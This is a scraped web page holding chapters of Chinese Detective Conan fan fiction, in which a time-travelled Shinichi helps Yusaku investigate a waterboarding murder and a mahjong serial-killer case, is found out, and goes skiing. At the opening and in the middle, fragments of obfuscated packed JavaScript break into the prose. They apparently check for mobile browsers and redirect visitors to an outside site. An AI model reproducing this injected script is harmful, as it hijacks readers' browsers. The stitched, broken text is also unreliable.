l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137901|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但是还有其他进展。绳子和麻布上提取到的DNA确实属于泽田和也先生,现在正在排查他的社会关系。”工藤优作站在警视厅走廊里,“现在还在查各个医院、警署和泽田先生的邻居、亲友、同事们,如果还没有任何消息,大概今天下午会去泽田先生家里搜查——你们小学放学很早的吧?我去接你?” “有希子姐姐怎么样?”工藤新一吐掉一口泡沫,问他。 “吓着了,跟学校请假在家里休息。怎么了?” “没事。”工藤新一露出一点诡异的笑,竟然在日复一日的“父母恋爱实录”中找到了一丝乐趣,“你不去陪她吗?” 工藤优作反应过来这小崽子是在揶揄他,秉持着“自己不尴尬尴尬的就是别人”原则,继续输出:“她心情不好是因为案子,我又不是那些没有能力的小年轻,破了案才是最好的安慰。” 工藤新一:“咦惹——” “你来不来吧。” “来。”工藤新一回答,“我跟叔叔阿姨说一声。” 放学时间,杯户小学校门口停了一辆显眼的警车。 降谷零最先发现它,兴奋地和伙伴们分享:“警车诶!学校里出什么事了吗?” 不要这么期待学校出事啊喂……工藤新一挑眉。 “是来接新一的啦,”诸伏景光说,“早上的时候不是和zero说过了吗?” “可那时是说优作先生自己来吧?这么兴师动众?”降谷零有些不解。 正说着,警车上下来了一个眼熟的男人。工藤优作走到近前,看着三个小孩:“你们关系真好呀,一起放学?” “我们来送新一。”降谷零老气横秋地说。 “诸伏老师呢?”工藤优作没看到其中两个孩子的家长。 诸伏景光回答:“爸爸还有工作要做,他说他很放心优作先生的,就不必来送了,优作先生和他通个电话就是。” “也行。”工藤优作掐着工藤新一的书包肩带把小孩“绑架”过来,“那新一我就带走啦,拜拜。” “拜拜——新一要早点回家哦。” “我知道啦。” 泽田和也住在稍远的地方,毗邻中野区,离杯户町颇远。这也是警车接人的原因。 警方两天前就派了下属机关过去盯梢,以防犯人有来毁灭证据的行为,严防死守可谓滴水不漏。 “附近居民说,看到泽田和也在案发那天,也就是11月26号早上匆匆忙忙地从外面折返。还有人说,在上楼电梯里撞见过他,泽田看上去又难过又高兴的样子。”目暮十三说。 几个人换了鞋套手套,站在泽田和也家门口。房东早已送来钥匙,房门大敞四开,工藤优作和工藤新一却都没急着进去。 “玄关就有疑点。”工藤新一轻声解释。 泽田和也家的玄关是日本常见的下沉式,一个壁挂式的鞋架悬于左侧墙壁。鞋架的拉门有一丝缝隙,拉开它,能看到里面的鞋子都整齐地放在里面,缺了两个空位。而与之相对,鞋架下方空地处却杂乱地散着一双休闲鞋。鞋带散开,鞋跟也没有贴着墙根摆放。 工藤优作蹲下身,捏着下巴默默思考,工藤新一则站着,以相同的姿势用小手捏着下巴,道:“泽田先生是一个秩序性很强的人,这点从他的工位就能看出来。但是这个鞋柜一开始是有缝隙的,可能是力道太轻没拉紧,也可能是过于着急力度太大导致反弹,而他本人已经顾不上再合拢它了。看地上的鞋子也能看出来,鞋子是新洗过的,按理说应该会被放在柜子里,但现在却鞋带散乱地摆在地上——泽田先生连拖鞋都会放进鞋柜,”他指了指鞋柜里的几双拖鞋,“怎么会放一双休闲鞋在地上?” “这就表示,泽田先生折返回家之后换过鞋,而且出于某种原因,非常地匆忙。”工藤新一看向门口的警官们,总结。 一众警官鸦雀无声。 工藤新一表演推理秀的时候旁若无人,此时却后知后觉地感受到了警官们的震惊和身后工藤优作意味深长的打量。突然想起:这些二十年前的警官们还没有像佐藤美和子、高木涉他们那样,对小学生侦探习以为常。 “嘿嘿……优作先生也是这么想的对吧?”他尴尬地挠头,转移视线。 工藤优作定定地看了他一眼,替他圆话:“嗯,新一学得很快。” 森村警官笑了一下:“这孩子还真是聪明啊。” 他们继续往屋里走去。工藤新一推开卧室门,工藤优作顺手开灯:“泽田先生确实是个齐整的人。” 屋里也呈现出他严谨的作风,被子铺在床上,椅子推进桌里,窗帘被魔术贴束在一起。而和玄关一样,这里同样存在着某种不和谐。 铺在床上的被子上有人坐过的褶皱,一件皮夹克搭在了椅背上。工藤优作拉开衣柜,看着空着的两个衣架和一个西装防尘罩,说:“他大概是回来换了正装。门口的鞋柜大概能证明他把休闲鞋换成了皮鞋。” “再问问附近居民,”森村警官跟警员说,“有没有看见泽田和也先生换了正装出门。” “可是他为什么要换衣服?”目暮十三问。 “也许是有人和他说了什么,那通电话。”森村警官说着,检查了一下客厅的座机电话,“座机倒没有什么,案发当日上午没有来电记录。” “休闲鞋和皮夹克应该是要去上班的装束,”工藤优作说,拿起放在卧室书桌上的化妆包,“这个包应该原本是要上班用的,我在剧组见过,现在放在屋里,可能是换衣服的时候留下的。” “正装……”工藤新一想,“什么场合需要他回来换一身正装呢?还如此紧急?” 宴席、婚礼、葬礼、相亲、应聘、会议、主持、办理证件、扫墓…… 会是哪一个呢? 25. 抽丝 工藤新一在屋里四处翻看。他的动作很轻、带着手套,没有发现什么线索就会把东西放回原位。森村警官见状,也就放心地让他看了。 他走到客厅,在电视柜下方找到几本旧台历,泽田和也大概是有收藏台历的习惯。有的日历页边已经泛黄,但却没什么灰尘,他可能前不久刚刚打理过这里。 工藤新一从年代最久的一本开始翻起,上面几乎没什么大段的信息,只是有时会有一点圈画。比如十年前大学毕业、八年前母亲的离世、四年前入职现在的化妆工作室那天……工藤新一盘腿坐在地上,低着头,耐心地一本本翻着,终于在翻到三年前的日历时,找到了线索。 三年前的11月26日,被泽田和也用铅笔重重地画了一个圈。 而泽田和也案的案发时间,正是今年的11月26日。 “去查,三年前的这天他发生了什么,”森村警部补说,“没想到小朋友你还真是个福星啊。” 工藤优作也凑过来:“这一笔力道很重,泽田先生当时的情绪应该很激动。” “而且使用铅笔也很不寻常。你们看,他之前也有圈画日期的习惯,但几乎都是原子笔,并且很少用黑色、灰色一类黯淡的颜色。除了他母亲去世那天,他用黑色的原子笔圈上之后,用铅笔在旁边写上了‘妈妈,我很难过’的字样。” “这绝对是一个重要的发现。毕竟到目前为止,我们能掌握的情况并不多,连尸体都还没能找到。”森村警官说,“唯一能确定的犯人讯息就是,这个凶手一定是和泽田和也先生认识的。” “但这得是什么深仇大恨啊,”目暮十三不解,“水刑致死应该带有报复性质吧?” 工藤优作回答:“的确。犯人连续将死者浸入水中三四次,之后才彻底杀害他,这是一种很明显的折磨行为。既然犯人和死者大概率是认识的,那么仇杀的可能性比较大。但犯人拨打电话向剧组里告知泽田先生死亡的这一行为也很奇怪——他能得到什么呢?挑衅警方、威胁死者家属、还是因为自己变态的满足感?” 工藤新一吸取了刚刚险些露馅的教训,没有再多说话,左右他和工藤优作的意见也差不多。只是,如果通过目前凶手的一系列行为来进行侧写,他总觉得这个犯人的总体形象非常眼熟。 他仿佛小孩子好奇一般,拽着目暮十三的衣角,仰脸看着他:“呐呐,目暮警官,你都有黑眼圈了耶。” 目暮十三弯腰看他,笑着说:“因为最近警察叔叔们真的很忙啊。不止我一个,大家都是这样的。” “那,警官叔叔们现在是不是都身兼数职啊,”工藤新一继续引导,“我看森村警官已经接了好几个电话,听起来他起码要负责两个案件的侦办呢。” “是啊,我们还要负责另一起连环杀人案的,偶尔还会到另外两个案件里帮点小忙,真是恨不得一个人拆成三个人用。” “那,目暮警官也知道血衣案的事情啦?能不能和我说一点,我班级里的男孩子们都在讨论那个,我想知道我们猜的对不对嘛。” “这……”目暮十三摸了摸后脑勺,不大方便诶。我也不是很清楚。” 在一旁关注工藤新一的工藤优作忽然问森村警官:“森村警官,血衣案现在,有没有能够证明是熟人作案的线索?” “只有推论,没有证据。要是有就好了。”森村警官头疼,“小田切警部和佐藤警官现在都焦头烂额的,你也知道那个案子的社会影响有多大——简直是这四起案子里舆论浪潮最汹涌的了。” 这也难怪,毕竟血衣案的受害者是一个坐办公室的白领人士,平时上下班规律,实在是一个彻底的普通人。这个世界上普通人最多,也就代表着会有很多人代入到自己身上,引发群体性恐慌。 而这个案件里“血衣邮寄”这种事又实在猎奇,更加扩大了讨论规模。 “真的没有嘛?”工藤新一喃喃道,“可‘血衣’和‘死亡来电’的意味实在太相似了,简直像是一种翻版。” “其实那个案子我真的说不上了解,我之前的重心在那个连环杀人案上。”森村警官说,“不过,如果血衣案是熟人作案,那有一些疑点就能得到证实。比如说,犯人为什么知道被害人钉宫涧一郎先生的停车习惯并且提前在那里埋伏,又为何知道钉宫先生工位的准确地点。但这些都是推论,即使犯人是一个陌生人,也能通过蹲稍等行为知道这些事。这案子已经发生了快半个月,我们从熟人作案入手,根本没有查到有关的讯息。” “嗯……”工藤优作不语。 新一说得没错,血衣恐吓和死亡来电确实很相似。一是都揭露了死者死亡的消息,二是都有恐吓意味,三是,这两个行为都是凶手向死者所在单位发出的。 仅凭这一行为,两个凶手的侧写几乎一模一样。区别仅在于“死亡来电”的凶手更多一重愉悦因素。 “那另一起连续杀人案呢?”工藤新一又问,“为什么能判定那两件命案是同一个人所为?” 坠楼案、血衣案和水刑案都是他上辈子没听过的案件。唯有这一起连续杀人案,他也许能“先知”。 “犯人都是先用□□电晕了被害人,随后用一把日本刀杀了对方。”森村警官没反应过来,回答了这个问题。工藤优作又趁热打铁:“能说说这桩案子的细节吗?反正我现在也是警视厅的打杂人员了吧。” 森村警官犹豫片刻,刚要说话,就听下属来报:“报告!包里找到了泽田和也的车钥匙,屋子其他地方也都没有随意翻动的痕迹。另外,我们在脏衣篓里找到了一张干洗店的回执单。” “稍等。”森村接过证物袋,对工藤优作说,“你说得对,等回警视厅我再与你详细说——我可就不客气地用你这个天才推理小说家当劳力了啊。” “当然。”工藤优作笑着答应了,背地里按了按工藤新一的肩膀。那意思是,我这可是为了你想知道的信息挺身而出,欠我个人情? 工藤新一:“……” 他踮脚去看证物袋,发现那张洗衣店的回执单上写着:“11月24日,一套黑色西装(含同色领带),干洗熨烫,已完成。” “黑色西装!”工藤优作和新一异口同声。 他们从客厅奔回卧室,打开衣柜,赫然发现:衣柜里并没有一套熨烫好的黑色西装。 “其他地方有找到这套衣服吗?他既然签了回执,衣服肯定已经拿回来了。”森村警官也反应过来,问道。 “没有,警部补。”警员说,“需要去这家洗衣店问一下吗?” “不,没有必要现在去。”工藤优作说,“以泽田先生的行事作风,他不会在衣物没有拿回来的时候签回执,那套衣服必然也是他自己而不是旁人的——衣柜里空着的西装罩就是证据。现在我们可以得到一点:泽田和也先生遇害时穿着的,是一套刚刚干洗过、熨烫平整的黑色西装,连领带都是黑色的。” 他和工藤新一对视一眼,两个人脸上露出相似的神采。工藤新一接着他的话说:“这就意味着泽田先生最有可能是去参加葬礼或者扫墓。” “黑色西装、黑色领带确实是有可能,但是会不会太武断了?也有其他可能性吧?既然他那么匆忙,也有可能只是随手拿了一套正装就换上啊。”森村问。 “推理本来就是推出最有可能的结论。”工藤新一说。他的眼睛直视着在场的警官们,腰背挺直,浑身散发着自信的气场,“还记得之前那个画了铅笔圈的日历吗?” 泽田家已经彻底被翻了个底朝天,再没能找到其他证据。去洗衣店询问的警员回复说,那确实是一套黑色的正装,也确实被泽田先生本人拿走了。 “现在森村警官可以和我们聊一聊另一起连环杀人案了吗?”坐在警车上,工藤新一迫不及待地开口。 “好吧。”森村警官坐在副驾驶的位置上,从副驾的车门处掏出一块巧克力递给工藤新一,“新一君也还没吃东西吧,吃点糖垫垫肚子。” 工藤新一接过来,道谢之后却没有吃,翻来覆去了好几下,才打开来。 工藤优作看着他的动作,想起了两个月前在设乐老宅看到的相似的一幕。当时茶木警官也给了他一块糖,而工藤新一同样没有立刻吃下它。 虽然也可能是巧合,但这一行为真的显得很警惕。 一个九岁的孩子,至于对警方给的糖果都充满警惕吗?何况工藤新一很显然是信赖警方的。 为什么他要检查所有入口的东西?他以前到底处在什么样的环境里? 工藤新一没注意到工藤优作的脑回路,此时正聚精会神地听森村警官讲案情。 “第一起案子发生在11月23日。”森村警官说,“被害人是一名医生,凶器是他家里的一把日本刀……” 森村警官说了快一路,待他讲完这个熟悉的案子,工藤新一问他:“那这两个死者生前有什么共同点吗?” “看不出。”森村警官摇头,“明明依据现场情况,应当属于熟人作案,可这两名被害人互相之间根本找不到交集,更找不到共同的熟人。” “两名死者生前一段时间里有什么奇怪的行为吗?比如反常的举动、反常的语言?”工藤新一又问。他不能直截了当地说那个犯罪心理学系的大学生平栋堂次就是凶手,否则警察相不相信他另说,没有证据和调查也根本无法抓人。 工藤优作看了他一眼,也问道:“家属怎么说?” “这……好像确实有一些,但似乎没什么特别的。”森村警官说,“坊川医生的妻子说,她丈夫总是在周六晚上出去喝大酒,有一次很晚回来,说他总是被说‘爱哭鬼’。但他妻子觉得这只是丈夫朋友的调侃,也没有在意。而麦田副教授的弟弟则是说没什么特别的。” 工藤新一猜也知道警方没有特意问“周六晚上”这一点,否则偌大一个警视厅,难道还找不出几个熟悉麻将规则的人?唯一可能的就是警方根本没有从教授弟弟这里问到关于“周六晚上”的事,所以家属也不会觉得与之相关的事有用,没有说出来。而只有一个被害人说了些与麻将用语谐音的可疑话语,警方也想不到这两起案子都与麻将有关。 “那,那位教授的弟弟有没有 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松本清长的脸上还没有那道伤疤,看着虽然有威慑感,却远没有二十年后凶神恶煞。他也朝森村和工藤优作招了招手,看见随后下车的工藤新一,皱了皱眉:“怎么带了个孩子来?” “警官叔叔好!”工藤新一乖乖打了个招呼。松本清长人高马大的,作为一个小孩子,有点害怕才是正常的。 工藤优作有点无语:这孩子怎么时演时不演的。 “这孩子可是功臣,电话里跟你说的那个遗漏,就是这孩子提出来的。”森村摆摆手,“很聪明的孩子。” “哦?”松本清长看着小孩的发旋,“那倒是我轻视小家伙了。我叫松本清长,你好。” “松本警官好,我叫工藤新一。”男孩大大方方地说,又没有刚刚那种隐约的——演出来的——拘谨感了。 两位警官站在前面,两个工藤站得稍后。松本清长按下门铃,没过一会儿,麦田副教授的妻子和弟弟过来开门。 “警官先生?”麦田夫人诧异道,“这么晚了,是我丈夫的案子有什么发现了吗?” “我们来是想问问您有关您丈夫生前的情况——不用劳烦了,在门口就好——麦田先生出事前有没有在周六晚上有过一些异常举动?”森村警官说。 “啊,有的。”麦田夫人说,“他经常在周六晚上夜不归宿,我还为此和他吵了好多次架。不过有一次我晚上给他打电话,他很着急地跟我说:‘我正在看医生呢!别来烦我!’听上去非常烦躁的样子,我也不敢多问了。” “医生?”松本清长掏出一张被害人坊川医生的照片,“是这位坊川医生吗?” 麦田夫人和死者弟弟麦田秀邦仔细看了看,摇头:“不知道,我们好像没见过这位医生。” “好,感谢你们的配合。”几人向死者家属点头致意,一起回了警车上。 “有什么发现?虽然我觉得两个被害人都在周六晚上夜不归宿很奇怪,但确实听不出他们之间其他的联系。”森村回头看着后座上的三人。 工藤新一坐在后座的中间,旁边一边一个坐着工藤优作和松本清长。他矜持地假装思考了半天,偷偷拿眼睛瞄着工藤优作——如果由他说出来就最好不过了。 可惜21岁的工藤优作似乎对麻将还不是很熟悉,或者只是单纯地想看工藤新一接下来的行动,他没什么反应,反而跟森村警官一样,看向工藤新一。 小少年无法,只好硬着头皮上,就像他上辈子给高木涉解释的那样,把两位被害人口中的“爱哭鬼”和“看医生”换做了麻将用词“鸣牌”和“一向听”。 “所以,是麻将馆。”松本清长干劲十足,“等会回厅里,我马上就去找这个麻将馆!” “两位警官先生一定要注意哦,我觉得连杀两人,那个犯人一定已经非常自大了,注意安全。”工藤新一忍不住多提醒了一句。 “嗯,谢谢新一君。”森村笑着回答,“松本,小百合ちゃん可还等着爸爸回家哦。”他朝好友说了一句。 “你也是,森村,不是很快就要结婚了吗?这种时候,可不能上演那些悲情电影里的桥段哦。” “一定不会的。案件都已经有这么大进展了,也许我们只需要一个搜查令就能结案了。”森村笑着,“这个案子结束,咱们就能专心处理水刑案了。不过,回厅里之前,还是先把新一君送回家吧。” 接下来的确如森村的设想,麻将连环杀人案的侦查势如破竹。警方几乎立刻就查到了正在读大学的牌友平栋堂次,而在另一位牌友、那位律师的供述下,警方也很快掌握到了有关线索。 第二天夜里,平栋堂次直接逮捕候审。 而在那天送工藤新一回家时,工藤优作婉拒了警车送人服务,表示自己要带着他吃点夜宵。 他们面对面坐在一家僻静的寿喜烧店里,几乎无话地填饱了肚子。工藤新一的心神在热汤热气的氤氲里失了警惕,正在擦嘴时,冷不丁听见工藤优作说了一句—— “你不是这个时间的人吧,新一。” 26. 剥茧 工藤新一的动作霎那间停滞了,像是有人在他身上按下了暂停键。有那么一瞬间,他眼前像是炸开了一大片异彩纷呈的烟花,伴着悠悠的叹息。他像是被窗外不知何时飘落的大雪冻僵了,半晌,微颤的手从嘴边放下来,他低着眼眸,露出了一个无奈的苦笑。或许他潜意识里已经期待了这句话好久,阁楼上的第二只靴子落下来时,反而让他如释重负。 被发现了呀,工藤新一。 他的眼睛先看向工藤优作,随后才把低垂的头颅重新昂起来。男孩悄悄顺了顺气,问他:“怎么说?” 工藤优作反倒不忍心说下去了。他总觉得自己打破了工藤新一周身的某种屏障,不知道究竟是好事还是坏事。 “我……”工藤优作沉默了片刻,慢慢地说,“你没有在好好掩饰,新一。从一开始就没有。” “我们在杯户银行的见面是你一手促成的。这就是最大的疑点:你为什么知道那几个抢劫犯的名字?为什么知道那三个人与叶才三不合?还有最要紧的,你是怎么在劫匪们严密的监控下给我打来短信的?与之相比,你知道我的手机号码这件事都不算什么大事了。” “抢劫案、设乐家的案子、麻将牌友连环杀人的案子你都提前知道犯人和犯罪手法,因此我猜,你可能在未来看过这几起案子的卷宗、或者亲自参与过这些案子的后续。你对有希子、伊斯特伍德一家和阿笠博士的反应也不一般,甚至在去游园会那天,你也展现出了对第一次进入的帝丹高中的熟悉……新一,你不是现在的人。” 路灯一盏盏亮了起来。窗外的雪飘飘摇摇地落在树梢,沉默地看着临街的窗子里相对而坐的“父子俩”。 工藤新一深吸一口气,从口袋里掏出那部二十年后的智能手机,放在桌上,推给了工藤优作。手机上的足球挂饰在桌面上蹭了好一段距离,停下时顺着惯性滚到手机边上,撞了一下,不动了。 工藤优作没有拿起手机,就着它在桌面上的位置,试探性地按了一下电源键。手机屏幕马上亮起,工藤优作的眼睛里划过一丝惊艳。但惊艳的同时,他也记下了屏幕上那个和如今的日期日子相同、星期却不同的日子——11月28日,周二。 而今天是11月28日,周五。 工藤新一瞥了一眼屏幕,也看出了这个漏洞,笑了一下:“不用去查日历了,这部手机来自二十二年后。” 手机熄屏,工藤新一默不作声地把这超越时代的产物收回口袋。他静静地等了一会儿,工藤优作却又不说话了。 “工藤先生?”男孩唤他,“你没有什么要再问吗?” 工藤优作看向自己右侧的窗外,大雪已经把街道和房屋染成了纯洁无瑕的白色。他咬了咬下唇内侧,回过头,双手撑在桌上、身体前倾,用一种像是祈求的语气问他:“我只问一个问题,新一,可以如实回答我吗?” 工藤新一迟疑了一下,点了点头。 “我……”工藤优作攥紧了拳头,“我是不是,本该认识你?不是什么‘未来会认识’、不是什么‘日后有交集’,而是天生的、理所应当的,我们就是应该认识彼此。” 他回忆着在电话里第一次听见“新一”这个名字的心悸、回忆着每一次与男孩并肩的满足、回忆着男孩眼熟的小动作和语言模式,以及他那张简直像是他和有希子面容的集合的脸,那种感觉实在太强烈了——无关时空,只存在于每个人奔涌的血脉中。 “啊,”工藤新一直视着他纠结的目光,“这样说也没错呢。” 一阵无话。 “新一吃好了吗?要不要再吃一份甜品?”工藤优作从窗台上拿起菜单,像什么都没发生过一样问他。 “不了,我不是甜食党。你也不要吃了吧,当心变胖,有希子姐姐就不要你了。”工藤新一回他。 他们父子两人似乎总是这样的相处模式。永远点到即止、永远心照不宣。 “哎,对了,我和……新一?” 工藤新一手里的勺子忽然掉在了地上。 他似乎也在疑惑自己身体的不受控制,下一刻,一股熟悉的恶寒感涌上心头,他无法遏制地哆嗦起来,眼神依然锐利,却僵在座位上动弹不得。工藤新一忽然意识到这意味着什么,强忍着应激反应的恐慌感朝着感觉最危险的地方看去。 街对面,正走过一个叼着雪茄的壮硕中年男子。他戴了一顶礼帽,左眼夹了片单边眼镜,昏黄的路灯下闪着诡异的光。 “新一?”工藤优作担忧地看了他一眼,顺着他的目光,又看向窗外。 “别看。”工藤新一低低地出声阻止他,自己也迅速收回目光,强撑着颤抖的手举起杯子,装作喝水的样子挡在自己脸前。 二十二年前的朗姆,左眼还没有被赤井务武戳瞎,右眼也还没有因为年纪的原因而退化——他过目不忘的鹰眼能力正值巅峰。 工藤新一势必要再一次与黑衣组织抗衡,要杜绝任何可能对局势产生影响的细节,不能出一丝一毫的纰漏——比如提前被朗姆注意到。而工藤优作,最好不要被卷进来。 朗姆坐上车,离开了。 工藤新一紧绷的身体这才慢慢放松下来,只觉得浑身都酸痛不已。工藤优作问他:“那是谁?” “总之不是什么好人。”他敷衍道,随后拿出手机——他彻底不在工藤优作面前掩饰了——给赤井玛丽发邮件。 朗姆出现在东京,说不定是为了调查两个月前宫野家“搬家”的事,得让他们提高警惕。 “朗姆在东京。” “收到。” 工藤优作看不见邮件内容,也没有失礼地试图偷看。他等工藤新一放下手机,就带着他一起去结账。 “对了,刚刚的问题还没有问完。新一,你知道有希子和我什么时候才会在一起吗?”工藤优作又装了一次糊涂,眼神却一直落在男孩有点绵软的步子上,生怕他一个不稳栽倒在地。 “都说了只会回答一个问题,优作哥不要耍赖!” 回到家后,阿笠博士忽然给工藤新一打了通电话。他刚刚从不知道哪来的小道消息听说了“水刑案”的事,觉得藤峰有希子和工藤新一大概都情绪低落,又想着报答一下他们一行人“银杏”的恩情,所以想在明天邀请工藤优作、藤峰有希子以及四个孩子一起去一家刚开业的滑雪场玩——包括了他没见过面的诸伏高明。可谓是贴心极了。 水刑案还没有更新的线索,工藤新一明天没什么事做,欣然答应了。降谷零、诸伏景光和有希子也一样。诸伏高明则是觉得素不相识,不大好意思,被工藤新一忽悠着也同意了,顺便还搭上了一个来东京找高明玩、自费凑热闹的大和敢助。工藤优作则惨得很,成了唯一一个无缘的人:他明天还要去给警视厅当免费劳动力——他自己答应的小田切敏郎。 第二天一早,他们就集合出发了。阿笠博士的甲壳虫车坐不下七个人,于是只好一起乘电车去北郊。 “新一会滑雪吗?”诸伏景光问。 “以前学过一些。”工藤新一谦虚地说。 “我还没滑过,不过一想到会从高高的山上一下子滑下来,就觉得超级刺激!对吧,zero。” 降谷零点点头,也是抑制不住的兴奋:“就像动作片里面那样。” 工藤新一脑海里自动出现了一个“马自达上铁轨”的画面,在心里“呵呵”两声:动作片都找不到您降谷零先生这么不要命的狠人。 大和敢助融入得相当迅速:“那种刺激的项目肯定轮不到高明这家伙了,他从小就没什么运动细胞,立定跳远永远不及格,倒是在图书馆能呆一整天。” “爬树捉天牛结果掉下来摔伤了尾椎骨还被野猫抓伤了脸难道就是什么值得称道的事吗?”诸伏高明把手里的塑料瓶捏得嘎吱作响,“某人的光辉事迹在我这里可谓‘罄竹难书’。” “哎哎哎,你这就没意思了啊高明,怎么就‘罄竹难书’了……” 藤峰有希子“扑哧”一声笑了出来。 工藤新一见她笑了,终于放下心。有希子跟他和工藤优作不一样,虽然两年后就成了风靡全球的影后,可却是没见过现实中的凶案的。一个熟人遇害,自己还接到了凶手的电话,对她的心理冲击还是蛮大的。 工藤新一抛出话茬:“有希子姐姐会滑雪吗?” “会哦,以前有一个角色需要,就学了一些。”藤峰有希子笑眯眯地说,“姐姐我学的可是高级道的单板哦。” 降谷零瞪大眼睛:“好厉害!” 阿笠博士看了看工藤新一背包里的滑板:“新一君也是单板吗?” “对。” “这个滑板看上去相当不错,在哪里买的呢?我想研究研究。” 工藤新一一时语塞,挠了挠头:“啊……是我一位长辈送的啦,我也不清楚,不过它确实相当棒。博士想要研究的话,我这里还有不少小玩意,回去后我去找你玩!”” 相当棒的滑板在雪地里划过,扬起半人高的雪花。工藤新一穿着一身蓝色的滑雪服,潇洒地从山坡上滑下。他许久没有如此畅快地恣意过了,忍不住借着滑板的力来了个空中旋转。 雪地反射着太阳的光晕,在他的防护镜上闪过一道耀眼的光。 藤峰有希子在山下张开手臂挥舞:“新一!好帅哦!有希子姐姐要爱上你啦!” 工藤新一在她面前横了滑板停下,露出一双无奈的眼睛:可别,老爸会来找我拼命的。 “有希子姐姐和优作哥哥还没在一起吗?”降谷零跟诸伏景光咬耳朵,“感觉早就在一起了啊。” 诸伏景光眯着猫眼:“感觉是快了,咱们两个这样……” 两颗小脑袋凑到一起,叽叽喳喳的不知道密谋了些什么。诸伏高明把大和敢助拍到一边,觉得自家弟弟又要出什么坏主意。 大和敢助一把雪拍在了他脸上。 诸伏高明黑了脸,把手里的雪杖一扔,抄起一把雪追着他打。 诸伏景光拍了拍手上的雪,走向阿笠博士:“博士——有希子姐姐和优作哥哥为什么没有一起来呀?他们吵架了吗?” 阿笠博士摸不着头脑:“不是啊,优作君是有工作要忙才来不了的。” “啊,可是,”诸伏景光垂下眼睛,嘴嘟起来,“有希子姐姐今天都没有提过优作哥哥哎,会不会是要分手?我听妈妈说,热恋期的情侣们都会不自觉地提到对方的,除非是吵架或者关系淡了。” 降谷零在心里默默评价:hiro的表面实在太纯良了,这种套话的事就应该他来。 “不会吧。”被诸伏景光这么一说,阿笠博士也有点不确定了。他一直以为工藤优作和藤峰有希子是稳定交往的情侣关系,正好中了小景光的“挡箭牌计划”。诸伏景光加大火力:“博士!你去问问有希子姐姐嘛。” 阿笠博士心软,虽然挺大个人问人家高中女生的感情问题不大好意思,还是半推半就地上前了:“那个,有希子小姐啊……” “怎么了阿笠先生?”藤峰有希子正忙着玩工藤新一呢。 “你和优作君没分手吧?”他就这么直愣愣地问出来了。 工藤新一趁藤峰有希子一怔的工夫逃脱魔掌,斜眼看他俩,又瞄了一眼一金一黑两个鬼鬼祟祟的脑瓜顶,心想:景光出的什么馊主意,想知道感情进展问我不就好了。 阿笠博士倒也是,挺大个人了,被两个实实在在的四年级小学生“玩弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“后面有个小冰场,我带他俩去看看。”面对损友之外的人,大和敢助还是蛮可靠的。 “我们要穿过一小片树林。”降谷零已经玩疯了,“也许能遇到松鼠!” 看诸伏高明皱了皱眉,大和敢助就知道他要说什么,在他开口之前先说:“不是野林子,开发过的,我刚才都跟藤峰姐走过一遍了,没事。实在不放心你就一起来呗。” “不了。”诸伏高明这点信任还是有的,“景光、零君,不要在林子里乱跑,有事打电话——别跟着你们敢助哥瞎闹。” “高明——” “去吧。”诸伏高明一摆手,对大和敢助眼不见心不烦。大和敢助也立马不理他,招呼两个小的走人了。 两个孩子欢天喜地地跟着他跑了。 “新一滑板那么厉害,体力应该不错啊,怎么累成这样。”阿笠博士说。 “昨天晚上跟优作哥查案去了,可能没睡好。”工藤新一说。 我哪有真正的小孩子有活力啊,再说……工藤新一按了按胸口的药盒。再怎么样,APTX4869也是毒药,怎么可能除了细胞退化之外一点副作用也没有?看他和景光的身高差就知道了,九岁的景光已经比他高出七公分以上了。这就是APTX4869的副作用之一——自他缩小以来,身体的自然生长就仿佛被无限减缓。现在的他,和三年前刚变小时相比,一丁点都没有长高。也就是说,他的身体其实仍然处于七岁的样子。 这也是问题啊……工藤新一头疼。如果一直这样留在诸伏家里,他过慢的生长速度一定会引起很多人的怀疑。可这东西只有吃下解药才会彻底根治,他总不能在十七岁的时候吃解药、然后一夜之间长高几十公分吧? 那厢,大和敢助已经领着两个孩子走到了小树林里。 下午四五点钟,天色尚早。大和敢助有点无聊地靠在松树上,拿脚尖在地上的雪地上乱划,看着不远处的两个小孩子堆雪堡。 真是的,小孩子怎么这么难带。不是说去冰场玩吗?这破雪堆有什么好玩的? 大和敢助打了个哈欠,眼神放在两个小孩身上,目光却放空得能做个白日梦。 降谷零和诸伏景光正挖雪坑、堆雪墙。诸伏景光把挖出来的雪攥在手里,稍稍压实之后按在已经成型了的一个半弧形的雪墙上。降谷零则在别处找些松果、石子之类的东西充当装饰。 “Zero,你看,这像不像一个秘密基地?”诸伏景光白皙的小脸冻得红扑扑的。 “是啊,”降谷零说,“可惜拿雪做的屋子,春天就会被太阳融化了。” “我以前在长野的时候也建过一个秘密基地,木头做的,”诸伏景光分享道,“和一个小时候的朋友,他是群马县的人,叫小操,等以后介绍给zero认识哦。我从长野搬家的时候,他给了我一张假面超人的珍藏卡片,还说长大后要一起做正义的伙伴呢。” “那我也要和hiro一起做正义的伙伴!”降谷零抢着说,俯身扒开树根的积雪,试图找到几颗过冬的橡果。 忽然,他的手指触摸到了什么坚硬的东西。降谷零把那东西拿出来,发现是个四四方方的黑色金属物品,再一看,原来是一部黑色的翻盖手机。 降谷零忽然有种异样的感觉,觉得这手机颇为不祥。还没等他招呼景光过来看,大和敢助和诸伏景光先走了过来:“零君,高明的电话,问你晚上吃什么。你这手上是什么?手机?” 电话那头的诸伏高明问:“什么手机?” 降谷零接过电话,一同给三个人解释:“刚刚捡到的,一部翻盖手机。” “是谁不小心掉下的吗?”诸伏景光接过降谷零手里的手机,试探性地按了下开关,电量竟然还有一半,大约是一直关机的缘故。 “好多未接电话啊,我看看,”等手机开了机,大和敢助也凑上去,“都是一个人打的吗?还有好多座机电话……诶,还有短信?” “‘泽田和也先生,你现在在哪’?” 27. 水落 诸伏高明重复道:“泽田和也?” 身旁,工藤新一猛地扭头,碎发被风带起:“什么?” 诸伏高明只来得及用最简洁的几句把情况说完,话音尚未落地,那孩子抄起倚在墙边的滑板就跑,他想追都追不上。 “景光,你们就在原地不要动,”工藤新一飞速地滑着滑板,顺便给诸伏景光打了通电话,“也不要乱动那部手机,尤其不要摘手套碰。” “好。”诸伏景光说,“这是某个案件的证据吗?” “目前还不能确定,如果是真的,可能就得报警了。” 